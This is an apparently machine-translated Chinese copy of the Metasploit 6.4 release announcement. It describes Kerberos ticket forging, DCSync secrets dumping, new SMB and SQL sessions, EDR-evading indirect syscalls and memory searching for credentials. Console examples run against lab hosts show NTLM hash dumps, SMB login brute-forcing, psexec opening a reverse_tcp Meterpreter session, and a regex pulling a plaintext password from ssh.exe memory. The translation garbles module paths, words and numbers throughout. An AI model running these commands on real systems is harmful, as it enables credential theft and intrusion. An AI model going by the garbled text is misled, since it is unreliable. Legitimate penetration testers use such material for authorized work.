最后更新于2024年3月25日星期一13:45:59 GMT

今天,Metasploit很高兴地宣布发布Metasploit框架6.4. 的发布已经一年多了 version 6.3 从那时起,该团队增加了许多新功能和改进.

新闻记者请联系 press@qfyx100.com.

Kerberos Improvements

Metasploit 6.3在Metasploit中包含了对Kerberos身份验证的初始支持,是该版本中较大的特性之一. Since then, Metasploit继续进行与kerberos相关的改进, 增加了没有进入6的功能.3 cut.

  • The 辅助/ admin / kerberos / forge_ticket 模块更新为:
    • 支持钻石和蓝宝石技术,除了原来的黄金和白银的技术.
    • Windows Server 2022使用的附加字段, 使其与最新的Windows目标兼容.
  • We added the post / windows /管理/ kerberos_tickets post模块,该模块允许用户从受损主机转储Kerberos票据. 这与流行的Rubeus工具的功能类似 klist/dump 命令完全在内存中执行和操作. 有了这一点,用户现在可以利用无约束委托的实例.
  • The 辅助/收集/ windows_secrets_dump 模块已更新为在使用DCSync技术时支持pass-the-ticket身份验证 DOMAIN action). 这使用户能够仅在给定具有所需权限的有效Kerberos票据的情况下从目标转储所有秘密,而不需要通过用户名和密码进行身份验证.

的示例 收集/ windows_secrets_dump 模块,使用Kerberos身份验证和 DOMAIN action:

msf6 auxiliary(收集/ windows_secrets_dump) > run rhost=192.168.123.133 username=vagrant password=vagrant smb::auth=kerberos domaincontrollerrhost=192.168.123.133 smb:: rhostname = dc01.demo.local domain=demo.local action=DOMAIN
[*]运行模块对192.168.123.133

[+] 192.168.123.133:445 - 192.168.123.133:88 -收到一个有效的tgt响应
[*] 192.168.123.133:445 - 192.168.123.133:445 - TGT MIT凭据缓存票据保存到/Users/user/.msf4 /战利品/ 20240319130521 _default_192.168.123.133_mit.kerberos.cca_724176.bin
[+] 192.168.123.133:445 - 192.168.123.133:88 -收到一个有效的tgs响应
[*] 192.168.123.133:445 - 192.168.123.133:445 - TGS MIT凭据缓存票据保存到/Users/user/.msf4 /战利品/ 20240319130521 _default_192.168.123.133_mit.kerberos.cca_878194.bin
[+] 192.168.123.133:445 - 192.168.123.133:88 -收到一个有效的委托tgs响应
[*] 192.168.123.133:445 -开业服务控制经理
…
[*] 192.168.123.133:445 -使用krbtgt/DEMO的缓存凭证.LOCAL@DEMO.LOCAL vagrant@DEMO.LOCAL
[+] 192.168.123.133:445 - 192.168.123.133:88 -收到一个有效的tgs响应
[*] 192.168.123.133:445 - 192.168.123.133:445 - TGS MIT凭据缓存票据保存到/Users/user/.msf4 /战利品/ 20240319130522 _default_192.168.123.133_mit.kerberos.cca_113846.bin
[+] 192.168.123.133:445 - 192.168.123.133:88 -收到一个有效的委托tgs响应
[*] 192.168.123.133:445 -绑定到DRSR
[*] 192.168.123.133:445 -为用户解密哈希:CN=Administrator,CN=Users,DC=demo,DC=local
[*] 192.168.123.133:445 -解密用户的哈希:CN=Guest,CN=Users,DC=demo,DC=local
[*] 192.168.123.133:445 -解密用户哈希:CN=krbtgt,CN=Users,DC=demo,DC=local
[*] 192.168.123.133:445 -解密用户哈希值:CN=vagrant,CN=Users,DC=demo,DC=local
[*] 192.168.123.133:445 -为用户解密哈希:CN=DC01,OU=Domain Controllers,DC=demo,DC=local
[*] 192.168.123.133:445 -为用户解密哈希:CN=DESKTOP-QUUL3FQV,CN=Computers,DC=demo,DC=local
# SID's:
管理员:s - 1 - 5 - 21 - 1242350107 - 3695253863 - 1242350107 - 500
…

# NTLM hashes:
管理员:500:aad3b435b51404eeaad3b435b51404ee: c3adff536329bc46a8db473dc318d54a:::
…

# Full pwdump format:
管理员:500:aad3b435b51404eeaad3b435b51404ee: c3adff536329bc46a8db473dc318d54a:残疾= false,Expired=false,PasswordNeverExpires = true,PasswordNotRequired = false,PasswordLastChanged = 202309151519,LastLogonTimestamp =没有,IsAdministrator=true,IsDomainAdmin=true,IsEnterpriseAdmin = true::
…

# Kerberos keys:
管理员:aes256 - cts hmac - sha1, 96: f68d8df38809b402cf49799faf991e77d3d931235d1cfa20fab35d348c0fa6a6
…

[*] 192.168.123.133:445 - Cleaning up...
[*]辅助模块执行完成

DNS Configuration

使用Metasploit框架的主要好处之一是集成的方式来 pivot connections 在不需要设置代理的情况下遍历已建立的会话. 这意味着Metasploit经常在模块运行时处理各种服务的DNS查询. Over the past year, Metasploit已经改进了如何处理自己的DNS查询,以确保它们不会无意中泄露.

用户可以配置如何解析主机名. 这在旋转场景中特别有用,以确保使用已配置的名称服务器解析特定域(或所有域)的请求,该名称服务器可通过已建立的会话选择性地联系. As an example, 用户可以配置Metasploit,以确保他们对内部资源的DNS查询来自受感染的主机,而不是他们自己.

操作DNS配置的示例:

dns add --rule *.lab.局域网——会话1——索引1 192.0.2.1
DNS添加——规则蜜罐.lab.LAN -索引2黑洞
DNS add-static example2.lab.lan 192.0.2.201
DNS添加——索引1——规则*静态系统.0.2.1

查看当前配置信息。

msf6 > dns print
默认搜索域:无
Default search list:
  * tor.example.com
  * localdomain
当前缓存大小:0

Resolver rule entries
=====================

   #规则解析器通信通道
   -  ----              --------    ------------
   1  *.lab.lan         192.0.2.1   Session 1
   2  honeypot.lab.lan  black-hole  N/A
   3  *
   .    \_ static N/A
   .    \_              10.4.5.45
   .    \_              10.3.20.98


Static hostnames
================

   Hostname IPv4 Address IPv6地址
   --------          ------------  ------------
   example.lab.lan   192.0.2.200
   example2.lab.lan  192.0.2.201

New session types

Metasploit 6.4增加了对new的支持 PostgreSQL, MSSQL, MySQL and SMB session types. SQL会话类型允许对远程数据库实例进行交互式查询,而新的SMB会话允许与共享进行交互, navigate directories, upload, and download files. 所有这些新的会话类型也可以与相关的辅助模块一起使用, 这意味着您可以获得单个SMB或SQL会话并针对该会话运行多个模块,而无需每次重新连接.

新增SMB会话类型示例

参数,可以打开一个新的SMB会话 CreateSession option:

msf6 > use scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > run rhost=192.168.123.133 username=vagrant password=vagrant CreateSession=true

[*] 192.168.123.133:445   - 192.168.123.133:445 -启动SMB登录暴力破解
[+] 192.168.123.133:445   - 192.168.123.133:445 - Success: '.\流浪汉:流浪的管理员
[!] 192.168.123.133:445 - No active DB -凭据数据将不会被保存!
[*] SMB session 2打开(192).168.123.1:52253 -> 192.168.123.133:445) at 2024-03-19 12:07:15 +0000
[*] 192.168.123.133:445 -扫描1个主机中的1个(100%完成)
[*]辅助模块执行完成
msf6 auxiliary(scanner/smb/smb_login) > 

会议将以新的方式开始 SMB session type:

msf6 auxiliary(scanner/smb/smb_login) > sessions
Active sessions
===============
  Id名称类型信息连接
  --  ----  ----  -----------                        ----------
  1 smb smb vagrant @ 192.168.123.133:445  192.168.123.1:53541 -> 192.168.123.133:445 (192.168.123.133)
msf6 auxiliary(scanner/smb/smb_login) >

与会话交互允许远程主机的直接文件操作,包括上传和下载支持:

msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
[*]开始与1互动…
SMB (192.168.123.133) > ls
[-]未选择活动共享. Use the shares command to view available shares, and shares -i  to interact with one
SMB (192.168.123.133) > shares
Shares
======
    # Name类型注释
    -  ----      ----          -------
    0 ADMIN$ DISK|SPECIAL Remote ADMIN
    1 C$ DISK|SPECIAL默认共享
    2  foo       DISK
    3 IPC$ IPC|SPECIAL远程IPC
    4 NETLOGON DISK登录服务器共享
    5 SYSVOL DISK登录服务器共享

SMB (192.168.123.133) > shares -i foo
[+]成功连接到foo
SMB (192.168.123.136\foo) > ls
Shares
======
    #类型名称创建访问写入更改大小
    -  ----  ----                 -------                    --------                   -------                    -------                    ----
    0  DIR   .                    2023-09-15t18:56:07 +01:00 2023-10-10t12:39:26 +01:00 2023-10-10t12:39:26 +01:00
    1  DIR   ..                   2024-02-01t13:11:41 +00:00
    2  FILE  passwords.docx 2023-10-10T12:38:53+01:00 2023-10-10T12:38:53+01:00 2023-10-10T12:38:53+01:00

新的会话类型支持通过会话类型使用现有模块,例如Metasploit的secret的dump模块,该模块之后仍然会保持会话存活:

msf6 auxiliary(scanner/mysql/mysql_hashdump) > use 辅助/收集/ windows_secrets_dump
[*] Metasploit 6新功能.这个模块可以针对SESSION或RHOST
msf6 auxiliary(收集/ windows_secrets_dump) > run session=-1

或者你可以运行Metasploit的PsExec支持SMB会话来打开Meterpreter会话:

msf6 > use windows/smb/psexec
[*]使用配置的有效负载窗口/meterpreter/reverse_tcp
[*] Metasploit 6新功能.这个模块可以针对SESSION或RHOST
msf6 exploit(windows/smb/psexec) > run session=-1
…
[*]发送阶段(176198字节)到10.4.227.91
[*] Meterpreter会话2打开(10.4.227.91:4444 -> 10.4.227.91:50319) at 2024-03-19 16:41:45 +0000
meterpreter >

还支持Kerberos身份验证:

msf6 auxiliary(scanner/smb/smb_login) > run rhost=192.168.123.133 username=vagrant password=vagrant smb::auth=kerberos domaincontrollerrhost=192.168.123.133 smb:: rhostname = dc01.demo.local domain=demo.当地createsession = true 

[*] 192.168.123.133:445   - 192.168.123.133:445 -启动SMB登录暴力破解
[+] 192.168.123.133:445   - 192.168.123.133:88 -收到一个有效的tgt响应
[*] 192.168.123.133:445   - 192.168.123.133:445 - TGT MIT凭据缓存票据保存到/Users/adfoster/.msf4 /战利品/ 20240319164301 _default_192.168.123.133_mit.kerberos.cca_903639.bin
[+] 192.168.123.133:445   - 192.168.123.133:88 -收到一个有效的tgs响应
[*] 192.168.123.133:445   - 192.168.123.133:445 - TGS MIT凭据缓存票据保存到/Users/adfoster/.msf4 /战利品/ 20240319164301 _default_192.168.123.133_mit.kerberos.cca_231110.bin
[+] 192.168.123.133:445   - 192.168.123.133:88 -收到一个有效的委托tgs响应
[+] 192.168.123.133:445   - 192.168.123.133:445 -成功:演示.当地\流浪汉:流浪的管理员
[*] SMB session 3打开(192).168.123.1:50336 -> 192.168.123.133:445) at 2024-03-19 16:43:01 +0000
[*] 192.168.123.133:445 -扫描1个主机中的1个(100%完成)
[*]辅助模块执行完成
msf6 auxiliary(scanner/smb/smb_login) >

新的SQL会话类型示例

Metasploit 6.4增加了对 PostgreSQL, MSSQL, MySQL session types. 参数,可以打开一个新的SMB会话 CreateSession option:

msf6 > use auxiliary/scanner/mssql_login
msf6 auxiliary(scanner/smb/smb_login) > run CreateSession=true RPORT=1433 RHOSTS=192.168.2.242 USERNAME=user PASSWORD= PASSWORD

这将创建一个新的SQL会话:

[*] 192.168.2.242:1433    - 192.168.2.242:1433 - MSSQL -启动身份验证扫描程序.
[!] 192.168.2.242:1433 -没有活动DB——凭证数据将不会被保存!
[+] 192.168.2.242:1433    - 192.168.2.242:1433 -登录成功:WORKSTATION\user:password
[*] MSSQL session 1已经打开.168.2.1:60963 -> 192.168.2.242:1433) at 2024-03-15 13:41:31 -0500
[*] 192.168.2.242:1433 -扫描1个主机中的1个(100%完成)
[*]辅助模块执行完成

您可以使用哪些工具进行交互 sessions -i or sessions -i -1 与最近打开的会话交互:

msf6 auxiliary(scanner/mssql/mssql_login) > sessions

Active sessions
===============

  Id名称类型信息连接
  --  ----  ----   -----------                     ----------
  1 mssql mssql测试@ 192.168.2.242:143  192.168.2.1:60963 -> 192.168.23                               .242:1433 (192.168.2.242)

msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i 1
[*]开始与1互动…
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
Response
========
    #  NULL
    -  ----
    0 Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
	    Oct 8 2022 05:58:25
	    版权所有2022微软公司
	    Windows Server 2022 Stand上的开发者版(64位)
       ard 10.0  (Build 20348: ) (Hypervisor)

The query_interactive 命令将启动一个交互式提示符,用于运行多个多行查询:

mssql @ 192.168.2.242:1433 (master) > query_interactive
[*]为mssql @ 192启动交互式SQL shell.168.2.242:1433 (master)
[*] SQL commands ending with ; will be executed on the remote server. 使用exit命令退出.
SQL >> select *
SQL *> from information_schema.tables
SQL *> where table_type = 'BASE TABLE';
[*]执行查询:select * from information_schema.where table_type = 'BASE TABLE';
Response
========
    # table_catalog table_schema table_name
    -  -------------  ------------  ----------             ----------
    0 master dbo spt_fallback_db BASE表
    1 master dbo spt_fallback_dev BASE表
    2 . master dbo spt_fallback_usg BASE表
    master dbo Users BASE TABLE
    5 master dbo spt_monitor BASE表
    6 master dbo MSreplication_options BASE表
SQL >>

类似于SMB会话, 新的SQL模块可以与多个辅助模块一起运行, 可用的模块可以搜索:

msf6 > search session_type:smb session_type:postgres session_type:mssql session_type:mysql

对Windows计量器的间接系统调用支持

间接系统调用是一种众所周知的技术,通常用于绕过EDR/AV检测. 这种技术在执行动态分析时特别有用, 安全软件监控系统上的每个进程以检测任何可疑活动. 一种常见的方法是在Win32 API调用上添加用户域钩子, 尤其是那些经常被恶意软件使用的. 系统调用是一种直接运行系统例程并进入内核模式而无需通过Win32 API的方法.

This first implementation 重点是用对相应本机API的间接系统调用替换反射DLL注入(RDI)库使用的Win32 API调用. For example, VirtualAlloc 的系统调用所取代 ZwAllocateVirtualMemory. 因为RDI在Meterpreter及其扩展中无处不在, 对于这项初步工作来说,它是一个很好的候选者.

主要的困难是找到正确的系统调用号,因为不同Windows版本的系统调用号不一样. Also, edr通常与NTDLL本地API挂钩, 使系统调用号的发现更具挑战性. 为此使用的技术是基于系统调用号按顺序分配的假设, 从数字0开始. 如果我们看看原生API函数是如何存储在内存中的, 系统调用号可以从相关的本机API函数在内存中的位置推断出来. 该技术包括选择系统调用函数(Zw…) from ntdll.dll 导出它们并按它们的内存地址升序排序. 一个给定的本机API函数的系统调用号就是它在这个排序列表中的索引. 这与 Halo's Gate.

我们采用的另一种技术是确保调用 syscall 指令是通过 ntdll.dll. 这种行为有时被称为“间接系统调用”。. EDR/AV可以监视这一点,并标记任何不来自的系统调用 ntdll.dll as suspicious. 这种技术直接取自 RecycledGate. Here, 复杂之处在于Meterpreter必须与从WinXP到最新版本的所有Windows版本兼容. 这个实现将负责解析 ntdll.dll and get the correct trampoline 执行系统调用时将使用的地址.

这项工作是第一步,我们预计今年会有更多的增加. 下一步是使用间接系统调用将Meterpreter及其扩展发出的额外Win32 API请求切换到相应的本机API. 长期目标是使间接系统调用成为任何未来基于windows的开发负载的标准, exploit, etc.). 用户不需要进行任何更改,就可以使用这些新更改运行Meterpreter.

可发现性的改进

“模块”的定义可能很模糊. In recent years, 一些模块已经开始在单个漏洞中包含多个cve,作为链的一部分.g., Proxy(Not)Shell),而其他cve则影响多个产品并保证多个模块(例如.g., Log4Shell). Furthermore, 没有利用特定漏洞的模块通常可以采取不同的操作, 比如伪造不同类型的Kerberos票据,或者为枚举运行不同的LDAP查询. 随着Metasploit的快速发展, 每周都有新的内容发布, 用户很难找到他们想要的东西.

Metasploit 6.4做了一些改进,使用户更容易发现. 最大的变化之一是新的 分层搜索功能. 这将导致Metasploit的内部搜索功能匹配模块中的其他字段, including the actions, 目标和化名. 例如,这将导致 辅助/ admin / kerberos / forge_ticket 模块,以便在用户搜索时显示 forge_golden 因为它是模块的一个动作:

msf6 auxiliary(scanner/mysql/mysql_hashdump) > search kerberos forge

Matching Modules
================

   #名称披露日期等级检查描述
   -  ----                                                 ---------------  ----    -----  -----------
   0辅助/ admin / kerberos / forge_ticket                .                正常无Kerberos银/金/钻石/蓝宝石票锻造
   1 \_动作:FORGE_DIAMOND                           .                .       .      伪造钻石票
   2 \_动作:FORGE_GOLDEN                            .                .       .      伪造金券
   动作:FORGE_SAPPHIRE                          .                .       .      伪造蓝宝石机票
   动作:FORGE_SILVER                            .                .       .      伪造银票
   5    \_ AKA: Ticketer                                   .                .       .      .
   6    \_ AKA: Klist                                      .                .       .      .
   7 auxiliary/admin/kerberos/ms14_068_kerberos_checksum 2014-11-18 normal否MS14-068 Microsoft kerberos校验和验证漏洞


通过名称或索引与模块交互. 例如info 7,使用7或使用auxiliary/admin/kerberos/ms14_068_kerberos_checksum

msf6 auxiliary(scanner/mysql/mysql_hashdump) >

Windows计量器内存搜索

Metasploit 6.4为Windows Meterpreter添加了一个新功能,允许在支持正则表达式的情况下搜索进程内存中用户指定的指针. 这可以用来搜索和发现针附近的内存中潜在的敏感数据, 类似于Linux的MimiPenguin工具. 这可以对与Meterpreter会话具有相同或更低特权级别的任何进程执行.

这个新的API目前由 post /多/收集/ memory_search module, 它可以用来搜索明文凭证——例如在OpenSSH的一些配置中:

msf6 post(multi/gather/memory_search) > run session=1 regex="publickey,password.*”process_names_glob = " ssh *”

[*]运行模块对- DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). 这可能需要几秒钟...
[*]获取目标进程...
[*]与以下进程运行:
        ssh.exe (pid: 2972)

[*] ssh的内存匹配.exe (pid: 2972)
======================================

 匹配地址匹配长度匹配缓冲区内存区域开始内存区域大小
 -------------       ------------  ------------                                                                                    -------------------  ------------------
 0x0000000A00060DF0 127 "公钥,密码......3.......myverysecretpassword....................#.........#..........  0 x0000000a00000000 0 x0000000000090000
                                   ...........S......................"

[*] Post模块执行完成

Get it

与往常一样,您可以使用 msfupdate 你可以在GitHub上获得自上一篇博客文章以来的更多变化细节:

If you are a git 用户,可以克隆 Metasploit框架 (主分支)为最新. 要安装fresh而不使用git,您可以使用open-source-only Nightly Installers 或者商业版 Metasploit Pro

感谢Rapid7开发人员和Metasploit社区成员为提供最新Metasploit功能所做的辛勤工作, 特别是艾伦·福斯特, Ashley Donaldson, Brendan Watters, Chris Granleese, Christophe de la Fuente, Dean Welch, Jack Heysel, Jacquie Harris, Jeffrey Martin, Navya Harika Karaka, Simon Janusz, Zach Goldman, Egor Kalinichev, and Spencer McIntyre.